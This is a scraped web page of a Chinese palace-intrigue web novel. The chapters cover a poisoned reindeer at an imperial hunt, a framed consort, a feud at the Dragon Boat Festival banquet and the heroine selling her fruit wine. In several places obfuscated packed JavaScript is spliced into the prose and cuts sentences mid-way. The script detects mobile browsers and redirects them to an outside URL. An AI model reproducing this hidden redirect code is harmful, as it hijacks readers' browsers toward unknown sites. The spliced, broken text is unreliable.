首领太监何忠顺躬身应“是”,趋步到佟佳贵人身边,柔声道:“恭喜小主。皇上为魁首准备了大礼,奴才这就安排人给您送到营帐中去。” 说罢,何忠顺退到一旁,扬手招来一群太监:“将各位主子娘娘打到的猎物都收到库房去,把地上都收拾干净了,若是脏了主子娘娘的衣服,小心你们的脑袋。” 娴贵人大喜过望的叩谢和小太监们忙碌的身影在沈知微眼前交叠,让人有些晕眩。 桓宸看了沈知微一眼,扭头对荣妃道:“都别在这站着了,回去吧。” 荣妃优雅应“是”。众人跟在皇上和荣妃、元妃身后,没走出几步,身后突然传来一阵惊呼声。 抬驯鹿的小太监颤巍巍地指着地上,瞪大眼睛对何忠顺说道:“何公公,这驯鹿不太对劲!” 何忠顺表情凝住,沉着脸走了过去,直直地盯着那小太监,颇有些被人挑刺的不快。 “哪不对劲啊?” 小太监被吓得有些结巴,“它、它在吐沫子!” 何忠顺差点气背过去。这驯鹿受了重伤,吐点血沫不是很正常……这小太监真是没眼色,在皇上面前大惊小怪,倒显得他御下不严似的。 何忠顺翻了个白眼,正准备教训他一二,谁曾想小太监还在盯着地上的驯鹿看。 何忠顺沉着脸,顺着他的目光看去,待看清地上的情形后,霎时乱了阵脚。 “这、这、这!这是怎么回事?!” 小太监“扑通”一声跪在地上,“奴才不知道!奴才发誓,奴才来的时候就是这样了!” 听到身后的动静,沈知微忍不住回过头。桓宸也停下了脚步,转身朝驯鹿的方向走去。片刻之间,众人又浩浩荡荡地放回原处。 走近了才知道,先前佟佳贵人打下的那只驯鹿,现在已经口吐白沫奄奄一息了。 大量混杂着未消化完的草团和白沫的呕吐物顺着驯鹿的嘴角流到地上,满地污秽。 看这只驯鹿的死法,倒不像是因为背上的箭伤,而像是…… 中毒。 这就有意思了。驯鹿若真是中毒,那此事可大可小。若是驯鹿在狩猎途中中毒的,下毒之人最多算胜之不武。 可若是在狩猎之前中毒的,那事就大了。皇上亲自指定、用于供 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553084|168279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 六宫各位主子玩猎的猎物,里三层外三层的太监和御林军看守着,竟然能被下毒?!这不是打皇家的脸吗! 何忠顺用衣袖擦拭脸庞上的汗水,只觉得头顶阴云密布。在心中默默祈祷千万不要是第二种可能性,否则昨夜守门的太监可能都不够砍的。 可若是在狩猎途中中毒的……按照常理来说,谁获益最大谁最有可能是真凶。在驯鹿中毒一事中得益的,只有佟佳贵人。 何忠顺头脑中灵光一现:这驯鹿矫捷难寻,能追上并且精准给驯鹿下毒的,后妃中寥寥无几。再加上佟佳贵人素来是个嚣张跋扈的性格,碰上狩猎这种她擅长的领域,为了百分百获胜,难免不会采用其他手段…… 在场的其他人多少也想到这一点,眼神不自觉往佟佳贵人方向瞟去。 更重要的一点是,驯鹿毕竟是佟佳贵人打下来的,要说最知道内情的那一个人,想来只有佟佳贵人了。 四周人心浮动,有种无形的压力聚集在头顶上空,压得人有些喘不过气来。 佟佳贵人瞪回了那些不怀好意地眼神,当场暴怒,“都看着我干什么?!这摆明了是有人想要陷害我!” 佟佳贵人气极,扫过一张张看戏的脸,可却找不出任何线索。 沈知微站在桓宸身后,埋下脑袋,挑起了眉梢。 哈,报应来的如此之快啊~ 只可惜没高兴多久,这转瞬即逝的笑意,恰巧被佟佳贵人捕捉。 佟佳贵人抬手指向沈知微,声色具厉:“是你,是你陷害的我!你想跟我争个高下,但又技不如人,所以用这种下三滥的手段陷害我!” 沈知微猛然抬起头,瞪大了眼睛,用力摇了摇头,“??我不是,我没有。” 她根本没有接近驯鹿的机会,射的一箭还被佟佳贵人打掉了,怎么可能是她下的毒。 沈知微下意识看向身侧的桓宸,下意识寻求这位最终裁判者的信任。 桓宸垂眸,如同鸦羽般的眼睫合了下,示意沈知微放心。抬首面向佟佳贵人,神情严肃:“放肆。” 佟佳贵人从气极上头中清醒过来,不甘心地收起手,福身认错。 “何忠顺,”桓宸沉着脸,威严赫赫:“去查,毒是谁下的,什么时候下的,给朕查出个水落石来,朕等着。” 雷霆之怒,众人俱是心惊胆战。除了何忠顺外,无人敢发出一点声音,连呼吸都是小心翼翼。 桓宸说完,转身往营帐走去。荣妃视线扫过沈知微和佟佳贵人,款款跟了上去。 不过一盏茶的功夫,何忠顺便带着太医和永福宫宫女前来回话。 “回禀皇上,”何忠顺弓着身子,恭敬道:“太医对地上污秽的查验结果和宫女的证词都在这里,请皇上过目。” 说罢,将纸张递了上去。 “经太医查明,驯鹿呕吐出的污秽中有乌头残留,推测是乌头中毒。从胃部消化情况来看,中毒时间是在半个时辰至一个时辰前,故而是在狩猎途中中毒而亡。” “另经审问得到永福宫宫女翠儿证词一份。翠儿先前一直在永福宫侍奉,是佟佳贵人身边的二等宫女,这次也跟随佟佳贵人一道来南苑狩猎。翠儿证言,佟佳贵人昨夜让她准备草团,说是今日用来猎捕驯鹿。佟佳贵人为了确保猎捕的成功率,特地要求翠儿在草团中加入乌头。还说只要猎到了,没有人会再查驯鹿是否有异。” 翠儿从怀中掏出一个纸包,里面还剩一点未用完的乌头粉末,哭唧唧地求饶:“奴婢位卑人轻,主子有命奴婢不敢不从,求皇上饶了奴婢吧!” 佟佳贵人暴怒,扑上来就要扇翠儿耳光,“你胡说!我何时让你给驯鹿送草团了?!又何曾让你给驯鹿下毒?你个贱婢竟敢冤枉我!” 翠儿缩成一团,像个受惊的鹌鹑,抽泣着往旁边躲。 桓宸皱起眉,命人按住佟佳贵人,正视殿中诸人不带一点表情,“荣妃,你怎么看?” 皇上在处理后宫争端上向她发问,荣妃不敢不认真对待,正襟危坐,思索着答道:“宫女翠儿给驯鹿下毒,按律应当没入慎行司服役,无赦不得出宫;佟佳贵人嘛……” 荣妃微眯着眼睛,佟佳贵人身世显赫,祖上和皇上沾亲带故的,罚重了佟佳一族必定有怨言,搞不好还要找她麻烦;罚轻了皇上会质疑她的能力……思来想去只能折中了。 “佟佳贵人指使侍女下毒,妄图蒙混夺魁,就取消魁首的资格,罚禁足三个月,闭门好好反省自己的罪过。” “什么?!闭门三个月?”佟佳贵人瞪大眼睛,“我明明是被冤枉的……” 桓宸不耐烦地偏过头,扬声打断:“就依荣妃的意思办。” 19. 节前 在南苑逗留了三日,按照原定计划,午后就该启程回京了。 浩浩荡荡的车马驶离南苑,往京城的方向行进。人群退散,在身后留下一片静寂。 日照西斜,阳光被帷布阻隔在外,照不到人身上;撵轿将人围困其中,仿佛华丽的囚笼。 沈知微掀起窗帘,视线越过身侧的御林军,看到远处只有方正的田野和简陋的平房,没有半分人影。她将手收了回去,轻轻叹了口气。 上午佟佳贵人被罚一事仍萦绕在脑海,佟佳贵人对她的指控犹在耳畔。 可根本不是她干的。那究竟是谁做的这一切,还让佟佳贵人记恨上她? 还有皇上,以皇上的聪明才智,怎会不知道这其中有许多疑点,怎就这样定了案? 还是说皇上对佟佳贵人的容忍已经到了极限,想要给她点苦头尝尝? 沈知微眉间愁云密布,她现在觉得这后宫实在是生存不易,宫里的娘娘们各有各的脾气秉性、心思算计,一不留神就将脏水泼到她头上;皇上也阴晴难测,让人猜不透想法。每日和这些人打交道,真是比上班还累。 可是她再不情愿又能怎样呢?来都来了,还在皇上那记了名,她跑都跑不掉。 只能在宫中吃好喝好,充分发挥作为宠妃的优势,努力让自己体面地活着罢了。 沈知微长叹了一口气,示意云雁给她倒茶。 皇上新赏的太平猴魁高爽幽香,香味馥郁,是难得的好茶。 云雁眼观鼻鼻观心,“小主满面愁容,是有什么心事吗?” 沈知微语气幽幽:“世道多变,人心难测啊。” 云雁不明所以,但知道她家小主这是又有新想法了。 沈知微放下茶杯,还未开口,只听车外的侍卫通传,“沈小主,海贵人来了。” 沈知微诧异地和云雁对视了一眼,收拾好表情,道:“请她进来。” 海贵人掀帘而入,伴随着阵阵兰香。 云雁收到沈知微给她的指令,给海贵人也倒了一杯太平猴魁。 “贵人来的好巧,正好试试我新泡的茶。” 海贵人在案前坐下,轻轻呷了一口:“果真是好茶。”她笑着说道:“妹妹不愧是皇上心尖上的人,这样的好茶,旁人宫里可是没有呢。” “姐姐这话可折煞妹妹了。姐姐学识广博,非常人能比。在姐姐面前,妹妹才要自愧弗如呢。” 沈知微这话并非是自贬,而是海贵人出身于吴江望族,她的父亲是进士,祖父更是吴江赫赫有名的大儒,连海贵人本人也是精通经史,善于诗词,是宫中数一数二的才女。 海贵人行止坐卧,都散发着一种满腹诗书的气度,常人自觉比不过也是正常的。 二人互相夸赞了几句,一时无话安静了下来。 海贵人踌躇着,放下手中的茶杯,小心翼翼试探道:佟佳贵人禁足前指控姐姐,姐姐可有怨恨?” 沈知微惊诧地抬起头,觉得海贵人这话问的突兀,不动声色地浅笑,“姐姐为何这般问?” “常人被冤枉总会恼的。” 沈知微有些惊奇,“姐姐如何笃定我是被冤枉的?换作纯嫔娘娘或贞嫔娘娘,恐怕巴不得我是凶手呢。” 海贵人神色微变,很快压制下来,眉眼闪烁着,“也许是我唐突,我总有种预感,我与妹妹是同道中人。” 沈知微抬眸,盯着她的眼睛,目光幽幽。 海贵人同样回视:丝毫不躲避,“昔日容氏欺辱你,你引蜂将其扳倒,从此彻底摆脱容氏的凌辱;其实在今日之前,我与你的处境并无太多不同。” “不过现在好了,你除去了你的对手,我除去了我的对手,我们何尝不算同道中人呢。” 沈知微嘴角的笑意瞬间消失,戒备地看向海贵人,“……是你?” 是你给驯鹿下毒,陷害佟佳贵人。 是你,将嫌疑往我身上引? 海贵人似乎看穿了沈知微的想法,神色柔和了许多,“毒是我下的不假,婢女也是我买通的,这些我都认。可是我从未想过会牵连到你。” “佟佳贵人那个人,一向刁蛮跋扈,个性难以捉摸,她要指控谁,拉谁下水,不是别人能控制和算计的。” 沈知微侧目打量她,眉心微皱,“为何要告诉我?” 海贵人轻笑了一声,“这后宫的算计和斗争,不是想躲就能躲的掉的。与其被动挨打,不如我们联手,主动出击。” “我看得出来,你我性情行当,心性相似,若是联起手来,在后宫中可以成为彼此最坚实的后盾,遇上阴谋诡计,也能互相配合,更近一步。这样不好吗?” 沈知微难以置信地看向她,眉头紧锁难以舒展。 她脑海中只有一个想法:海贵人她不是有病吧?使阴谋诡计误伤了我,还巴巴地来告诉,还要跟我结盟?! 她们俩一个贵人一个常在,位分这么低,连身为嫔妃的基本职责都未能完全履行(虽然也要看皇上的态度),皇上的宠爱都没有完全得到,有什么好结盟的…… 难不成凑在一起,像贞嫔和纯嫔一样在后宫吃瓜看戏吗? 还是说像从前容氏依附荣妃一样,依附更大的力量,成为对方的爪牙? 沈知微在心里连连摇头,她对于跟海贵人结盟一事一点兴趣都没有。 察觉到沈知微态度上的细微变化,海贵人表情严肃起来,“妹妹是如何考虑的?” 沈知微坦然一笑,无比真诚地昂起头。 “我还是觉得,身为嫔妃,还是应该以侍奉皇上为己任,皇上开心我就开心,皇上幸福我就幸福,不计较个人得失,不图谋利益交换,将皇上的幸福放在首位,坚决捍卫皇上最大准则。即使有一天,皇上厌倦我不宠爱我了,当我回首往事时,依然可以为我们可歌可泣的爱情潸然泪下,在在幸福的泪水中与世长辞。” “……” 海贵人嘴角抽搐,“妹妹当真是这么想的?” 沈知微脸上依旧带着陶醉的表情,重重地点了两下头。 海贵人眼神骤冷,“没想到沈常在这般与众不同,看来是我误会了。” “打扰了,告辞。” 沈知微露出标准的外交式的微笑:“慢走不送。” 海贵人走后,轿中气氛骤冷了几分。沈知微本以为总算清净了,没想到没过多久,魏常在也通传要来拜访。 沈知微有些头痛,可又不好拒人于门外,只好挤出笑脸相迎。“妹妹怎么有空过来?” “参加沈常在。”轿内空间狭小,魏常在依然按照礼数行了礼,得到沈知微许可后,在桌案前坐下,踌躇着说道:“先前说要请姐姐吃家乡菜,因着佟佳贵人,一直没能成。可从野外采的菜新鲜度又无法保存长久,这不,启程前,我借用伙房做了几样食盒,来拿给姐姐尝尝。” 魏常在说完,眼睛亮亮的,脸颊上还浮现出一层不仔细看便难以觉察的绯红。 沈知微对于向她释放善意的人,从来不吝赞美。她伸手打开食盒,“好香啊。”说着,让云雁取来食箸,又让云雁摆出几道皇上欣赏的点心,邀请魏常在一起用膳。” 制作精良的点心一上桌,倒让魏常在有些不好意思了,“乡间野菜,怎能跟皇上御赐的真品相比。这下反倒是我占姐姐的光了。” 沈知微将筷子塞到魏常在手里,大咧咧道:“点心送过来不就是给人吃的嘛。这里一桌子好吃的,饭一起分享才香嘛。” 沈知微夹起一大筷野菜,品鉴的话说的头头是道,赞美的话发自肺腑。虽然夸张了点,但一是因为魏常在做的非常好吃,二是沈知微确实对于记挂她的人充满感激。 沈知微有意调动气氛,魏常在也逐渐放开。她一向喜欢宫中的点心,只不过从前只能悄悄吃佟佳贵人和海贵人剩下的,现在不一样了,是沈知微认真邀请她一起的。之前沈知微还给她送了好些果园里新采摘的水果,魏常在如今想来,越发喜欢沈知微了。 二人说说笑笑,时间过得很快。情谊增加了,对彼此的了解也更进了一分。直到车驾进了京城,这才依依不舍地告别。 回宫后,听闻荣妃的父亲阮密大人从扬州发来了急报,皇上发了好大的脾气。 后宫众人噤若寒蝉,没有人敢去御前触霉头,也没有人赶请皇上到后宫。 沈知微也有大半个月没见过皇上了。 幸而果酒酿造进展顺利,沈知微抱出了两坛,一坛苹果酒送给柔答应,另一坛送到永福宫给魏常在,特地嘱咐她们陈酿时间越长风味越佳。 从永福宫出来,时辰已近黄昏,天际升起一片橙红色的火烧云,如梦似幻。 沈知微路过御花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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元妃笑了笑。从闲月宫到安德宫确实要经过御花园,沈常在话倒是不假。只是论喝酒的话,她只喝御酒坊的窖藏,旁人做的酒,她并不想喝。 她不动声色地换了话题:“今日夕阳风景极佳,看来我与沈常在是心有灵犀。” 沈知微回之一笑,“娘娘蕙质兰心,臣妾万不敢与娘娘相比。”她视线落在大皇子身上,发自内心地赞美,“这位就是大皇子吧,果真伶俐可爱。” 有人夸赞自己的孩子,总归是高兴的。元妃抬手轻轻搭在大皇子后背上,“璟桢,这是沈娘娘。额娘之前教过你,见到别的娘娘要说什么呀?” 璟桢怯生生地放开抱住元妃大腿的小手放开,在沈知微面前站好,恭恭敬敬地行了礼:“璟桢给沈娘娘请安。” 三岁的幼童,话还说的不顺畅,像只没长大的小仓鼠,让人忍不住想逗一逗。 “璟桢乖。下回来沈娘娘宫中,沈娘娘给你做玩具玩好不好。” 璟桢欣喜地点了点头,意识到不对,又摇了摇头,水灵灵的大眼睛看向元妃。 沈知微被这模样逗乐了,“元妃娘娘有大皇子这般可爱的孩子承欢膝下,纵享天伦,真是令人羡慕。” 元妃似乎也有些触动,满眼慈爱,“我这一辈子别无所求,只求我的皇儿能够健康长大,平安幸福就好。” “你不知道,璟桢前段日子生病,我这当娘的,吃不下也睡不着,恨不得替我儿受苦。万幸菩萨保佑,如今已经大好了。” “我打算明日去趟宝华殿,请高僧为我儿诵经,祈福、攘灾。到五月初五端阳节时,在门前挂些艾草与菖蒲,再请皇上和皇后娘娘与我一道,给桢儿‘画额’,借‘猛虎’驱邪祛病,保佑我儿健康平安。” 元妃拳拳心意,听得沈知微耳热眼花。在感叹元妃一番慈母之心时,她敏锐地察觉出其中的异样。 “我记得……皇后娘娘不是生病了吗?难道说……已经痊愈了?” 元妃眼眸中闪过一丝尴尬,虚咳了一声,见说漏嘴实在瞒不住,索性不吐不快。 “前些日子皇后娘娘不仅走出了安德宫,还去圆明园面见了太后娘娘,想来身体已经恢复的大差不差了。听内务府的人说,这次端阳宴饮,皇后娘娘和荣妃娘娘都要插手,他们夹在中间,好生为难呢。” 20. 端阳 本朝的端阳宴饮是在圆明园四宜堂举行。 四宜堂主体建筑由五间殿堂组成,正殿为安澜园,通过短桥连接北面的烟月楼和南面的染霞楼,其余两间分别名为采芳洲和风月阁。周边还有假山和水池,夕阳映照下,宛如名家画笔下的蓬莱仙境。 在祭祀敬天的仪式结束后,按照惯例来说,应是桓宸率领众人依次进入四宜堂正殿安澜园入席,后妃、皇子、朝臣按照品级先后落座。 可圆明园与旁的地方不同——它是太后颐养天年的地方。本朝太后本姓姜,是先帝册封的姜德妃,皇上登基后,被尊为皇太后。 或许是因为皇上少年英姿,没什么可操心的,在皇上登临大宝一年后,太后便搬到了圆明园修养,只有在重大的节庆宴饮时才会象征性露个面。 皇上重孝,太后在场,没有一个人在前先走的道理。皇上和皇后于是一左一右,搀扶着年迈的太后共同迈向安澜园正中那金光熠熠的高位。落座后,三人都身着祭祀用的吉服,远远望去,如同寺庙大雄宝殿内供奉的三座镀了金身的神佛。 沈知微看晃了眼,自觉不妥迅速地收回视线,跟随着前面的脚步,找到自己的位置座下。 她的位分是常在,座位在第三排,在后妃中比较靠后。 隐没在人群中,前面所有嫔妃的身影全都落在了视野内。 太后高坐明台,目光从台下每一个人脸上划过,声音威严中带着些许疑惑,在宽敞的大殿中回荡。 “哀家在圆明园待得久了,看着好多人都不太认识。皇后啊,不如你来给哀家介绍介绍?” 皇后扭头和太后对视,展颜一笑,“儿臣惭愧,前些日子在宫中养病,鲜少出门,这里的好多妹妹儿臣也不太认识。太后若是想认识,想来……荣妃说不定能为您介绍一二。” 太后闻言,目光偏移,落在下首位的荣妃身上。荣妃今日身着赤红圆领织花蟒袍,头戴雀冠和挑牌,气度华贵,连带着周身都亮堂起来。可这身行头落在太后眼里,就有些逾制了。 荣妃端起笑容正要回复太后,却看到太后皱起眉收回视线,回首对皇后嗔怪道: “你才是六宫之主,宫中诸事,哪有假手他人的道理,应当多上点心才是。有些事,你来做才符合礼法,换做旁人去做,到底名不正言不顺。” 这话听起来像责怪,可语气中却是对旁人绝不会有的亲昵。皇后乖巧低头,浅笑地认错:“母后教训的是,儿臣会恪尽皇后本分的。” 荣妃当众被驳了面子,笑容凝滞,眼眸晦暗地盯着眼前的方寸之地。 桓宸见状,轻咳了一声:“皇后先前病着,后宫诸事无暇打理。朕这才给了荣妃协理六宫之权,让她替皇后打理六宫,想来没有功劳也有苦劳,母后还是莫要太过严苛了。” 太后见皇上帮荣妃不帮她,一口气堵在了嗓子眼,神情颇为不悦。 吉时已到,侍女们端着食盘从两侧的小门鱼贯而入,冷盘热羹依次摆放在众人的桌案上。丝竹管弦声起,在曼妙的歌舞中,端阳节宴正式开宴。 桓宸说道:“值此端阳佳节,朕与诸卿共聚于此,即为庆端午之吉,亦为彰我大楚之盛。朕承天命,治天下以仁,御四海以德。愿此佳节之祥瑞,庇佑我大楚风调雨顺,家国安康。今日是家宴,来的除了宗室外,都是朕的肱股之臣,诸位且开怀畅饮,务必尽心才是。” 众嫔妃、朝臣一齐行礼:“愿皇上、太后圣体安康,福寿绵长。” 礼毕,桓宸话锋一转,“荣妃筹备端阳宴饮,许多细节都要亲自操持着,着实是辛苦。前日东海上供了几斛珍珠,就都赐给荣妃吧。” 荣妃喜上眉梢,原本的阴云一扫而光,袅袅婷婷地绕过桌案,走到殿中行礼,“臣妾多谢皇上。” 有了皇上撑腰,荣妃腰杆挺的直直的,像只骄傲的孔雀。 太后和皇后对视了一眼,面露不快。 太后眉眼一挑,幽幽地看向荣妃,道:“荣妃的准备宴饮确实辛苦,只是……” “这菖蒲酒蒸蟹、艾香炙鸭、五瑞饼,看着是新鲜,却不符合宫中定制啊。” 荣妃神色一变。端阳节宴是每年宫中最重要的宴饮之一,一应安排确实有定制,只是这回筹备之时,皇上特地跟她提到,每年端午都是那些菜式,歌舞表演也枯燥无味,要她着重做出些新意来。 皇上私下交代的,她又不可能当众宣扬。如今被太后挑了错,一时竟是有口难言。 只见太后神情不悦,转而问皇后道:“皇后啊,换做是你会怎么做?” “儿臣以为,老祖宗留下的规矩不可违背,传统也应当遵循,若是儿臣来筹备,自是按照传统的八道冷菜八道热菜四道汤品,糕点水果若干,再加上端阳节特色粽子和五毒饼,寓意驱邪避毒。” 太后点点头,“皇后到底是皇后,经验老道些。这端阳宴若是换做皇后来筹备,大家也能过得安心,是吧?” 皇后笑得明媚,“这有何难。大家好不容易相聚,总当尽兴才是,儿臣早已准备好了。” 皇后示意身后的婢女。不多时,一列宫女端着食盘从小门而入,将食盘放在各人的桌案前。皇后说道:“这是本宫准备的粽子和五毒饼,帮助大家驱邪避瘟,祈愿安康的。” 说罢,皇后明亮的眼眸扫过阶下落座的众人,像是再期待什么。 皇上嘴唇动了动,看向皇后,又看向荣妃,到底忍住没开口。 殿内针落可闻,嫔妃们你看看我我看看你,不知该如何是好。有人想谢过皇后,亦或是恭维皇后,但还未出声就被身旁的人制止,拼命使眼色。 都说神仙打架小鬼遭殃,如今阮氏和苏氏在前朝斗的要死要活,皇后和荣妃在后宫同样争斗不休,这几道菜摆明是和荣妃打擂台呢。夸皇后就得罪了荣妃,帮荣妃就得罪了皇后,里外不是人。 一时无人敢答话,皇后面上有些挂不住,于是开始点人:“元妃,璟桢前些日子病着,这五毒饼可要多吃一些,保佑健康的。” 五毒饼,顾名思义,是用模子刻好后烤制出来的糕点,上面刻有蝎子、蛇、蜈蚣、蟾蜍、壁虎五毒图案。寓意以毒攻毒,借助五毒的力量驱赶邪祟、避免疫病,保佑平安健康。只是…… 先是荣妃的五瑞饼,现在又是皇后的五毒饼,元妃有些无语,她家桢儿先前得的是风寒,又不是中邪,有必要吃这么多吗……她就这么一个宝贝儿子,别再反噬了。 元妃讪讪地笑着,不说好也不说不好,只一味的道谢,“多谢皇后娘娘。” 皇后不依不饶,“喜欢就多吃些,粽子也很不错,赶明本宫命人送些到你宫里去。” 荣妃听不下去了,强压着嘴角的笑,不无嘲讽地道:“皇后娘娘未免太积极了些,元妃面前那么多道菜,难不成还能饿着她和大皇子不成,用得着再带回宫吃吗。” 皇后横眉冷对,满怀怨气地哼了一声,“我是怕某些人准备的东西元妃不喜欢,好心提点两句而已。” “皇后娘娘又不是元妃,又怎知元妃是喜欢还是不喜欢。倒是皇后,未免太咄咄逼人了吧。” 二人针尖对麦芒,谁也不让谁,最后视线齐刷刷地落在元妃身上,目光饱含着警告和期待。 元妃内心一万匹马奔腾而过。明明前几日还在感谢上苍,让她二十五年来过着优雅恣意、顺风顺水的人生,没想到今日就遭到了报应,皇后和荣妃同时发癫,还都要拿她开涮。 还好元妃身居妃位多年,面对他人突然发难,无论心里多有百转回肠,面上的应对能力是有的。只见她垂眸凝思,眼睫轻颤了几下,不疾不徐地开口道:“臣妾以为,荣妃娘娘的菜肴匠心独运,皇后娘娘的妥帖周全,组合在一起才为上上之选,何苦分个一二呢?大家身处后宫同为姐妹,本该互相照拂,勠力同行侍奉皇上,方不负妃嫔之本分。” 这话说的巧妙,看似全都夸了,听起来又好像不是那么回事。沈知微坐在角落里,默默观察着前方的众人,只见皇后和荣妃针对之意消了些,但脸色依然不好看。倒是皇上对元妃这番话很满意,颇为赞赏地看向元妃。 沈知微思索着,皇后和荣妃在端阳宴上相争,多少是有损颜面的,皇上定不愿意看到这样的家丑公然上演,可皇后和荣妃之间不仅是女人间的纠纷,还涉及前朝,皇上不好贸然插手,倒是元妃这番话说的深明大义,知道维护后宫团结。 “元妃深得朕心。”皇上举起酒杯,敬向元妃。 元妃悄悄松了一口气,举起酒杯回敬皇上,一饮而尽。 一杯酒下肚,甘甜的味道在唇齿间回荡,元妃眼睛瞬间一亮,垂眸看向桌上的酒盅。 荣妃瞥了眼身后的康嫔,康嫔会意,扭头看向元妃,语气中透露着不怀好意。“听元妃娘娘的意思,传统与新意可以相合,可是就拿面前的这些菜肴来说,明明是彼此独立泾渭分明,又当如何相合呢?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15587985|168279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 元妃一抬眸,刚好看到皇上鼓励的眼神,再加之皇上之前的肯定,这回倒也不怵。她扫了眼面前的桌案,最终落在左上角的酒盅上,又让侍女斟了一杯,抬腕举到眼前。“上善若水,水利万物而不争。像这道果酒,按照旧制,通常是将水果放入容器,加入适量的糖和酒制成,可我手中的这杯酒除了有果味的香甜外,还有橡木的香味,这便是既遵循传统做派,又有额外的创新。小小的一杯酒,在这张桌案上并不起眼,可对于桌案上泾渭分明的菜品来说,无论是旧制还是新意,最终都将融入到这杯酒中。这不正是包容相合、润物无声的最好证明吗?” 康嫔黑漆漆地眼眸在眼眶中打转,思索着该如何回怼。 可元妃这一字一句落在沈知微的耳中,却是按耐不住的欣喜,含着笑垂下头。 有的嫔妃听完元妃这番话,好奇地举起桌上的酒杯,递到唇边浅尝着。 “咦,这不是沈常在做的果酒吗?”殿中响起一声娇俏的女声,是魏常在。 柔答应尝了一口,欣喜地说道:“真的是姐姐做的果酒哎!” 话音一落,殿中所有人的视线唰唰唰地落在沈知微身上。沈知微脸颊微微泛红,目光投向皇上。 桓宸哈哈一笑,“没错,是沈常在做的。她送了两坛给朕,朕尝着不错,确实独出心裁,就命御酒坊将端阳宴上的酒换成这款,大家觉得如何?” 众人恍然大悟,一边品酒一边悄悄打量沈知微。沈知微眉眼含着笑和桓宸对视,很感谢他给足了她面子没说出真相。因为真相是沈知微在给魏常在和柔答应送酒前,就马不停蹄地抱了两坛酒跑去三省殿,让桓宸品尝不说,还死缠烂打让桓宸端阳宴一定要用这款酒,否则她两个月心血白费,会茶饭不思肝肠寸断的。 魏常在和沈知微对视了一眼,眉眼含着笑:“沈常在一向心灵手巧,待我手中的这坛酒喝完了,定要找你再要两坛来。放心,绝不让你吃亏,我花银子买就是。” 沈知微故作为难,“妹妹这么说可就折煞我了,我哪能收你的银子呢?” 魏常在“诶”了一声,“亲兄弟还得明算账呢。我不跟姐姐客气,姐姐也莫要跟我客气。” 柔答应慌忙说道:“姐姐,我也要,你千万记得给我留一坛。” 其余人见这情形,又端起酒杯尝了尝。纯嫔打眼看着,狐疑道:“有那么好喝吗?”说罢,拿起酒杯尝了一口,咂了咂嘴,一饮而尽。 纯嫔“喂”了一声,“沈常在,既然好喝,就给大家都分享一下,别那么吝啬嘛。” “就是啊,这酒确实不错,沈常在就多做一些,给大家都分一分嘛。” 一时叽叽喳喳,都喊着让沈知微送酒。 场面一度混乱,沈知微尝试了好几次才插进话,“各位姐妹,我自然是想给大家都送一坛的,只是果酒做法复杂,要采摘最新鲜的原枝水果,经过多道工序,再经七七四十九天发酵,10斤水果才能做出半斤酒来。我一个人实在做不了太多,力所不逮啊。更何况……” 她垂下头,竟有些失落,“除去这次端阳宴上所用的,如今只剩下五坛了……” “啊?这怎么办啊?” “五坛也太少了吧?” …… 沈知微紧抿着唇,默默压下嘴角。 桓宸睨了她一眼,轻咳了一声,“不如这样,谁若是喜欢,就花钱找沈常在买去。若实在是客多酒少的话,就价高者得。” “不行不行,”沈知微猛地抬头,慌忙打断道:“臣妾怎好意思收各位姐妹的银钱,更不愿意得罪未买到的姐妹,不如……”沈知微勾唇一笑,“不如臣妾干脆全都卖给皇上,皇上愿意赏给谁就赏给谁去。” 桓宸瞪大了眼睛,良久,无奈地摇头,“看看,这小妮子就是口齿伶俐脑子活,打主意打到朕的头上来了。朕若是不买,这小妮子岂不是又要不眠不休的来闹朕了。” 众人哄然大笑,看向沈知微的眼神中不乏艳羡。 太后打量着沈常在,早就听闻皇上宠爱她,如今看来,倒像是个知情知趣的。 这也是皇后第一次见沈知微,视线落在她身上,目光灼灼,不知道在想什么。 荣妃唇角微压,神色格外冰凉。她并未回头看,可在心底却狠狠刻下了这个名字。 沈知微。 一个不知从哪冒出的蝼蚁,回回宴会坏她的事,真是…… 活腻了。 21. 邀请 “六百两啊,啧啧,五坛酒卖了六百两银子……” 半月轩门窗虚掩,沈知微手捧着银票坐在桌案前,连连摇头。柔答应坐在一旁,同样惊大了嘴巴。 云雁站在一旁惊叹:“小主,真的不再多做几坛吗?宫中的酒就算拿到外面去卖,一坛炒上天也就二十两银子。可小主做的酒,一坛价格近一百二十两银子,都够在外面买座宅子了。这要是多做一些……嘶,都不敢想能赚多少钱啊。” 孔嬷嬷嗔道:“傻丫头,就是因为量少,所以才卖的上价啊。宫中就这么些人,要是做多了,还卖不上这么好的价钱呢。这就叫什么……对,物以稀为贵。” 沈知微赞同地点点头,“没错,就是这里理。通过制造产品的稀缺感和紧迫感,提升其价值感,进而增加顾客的购买动力,打响知名度。五坛,我们只卖这五坛,并且任谁来问都说卖完了,并且因为产品制作工艺复杂,难以再生产。” 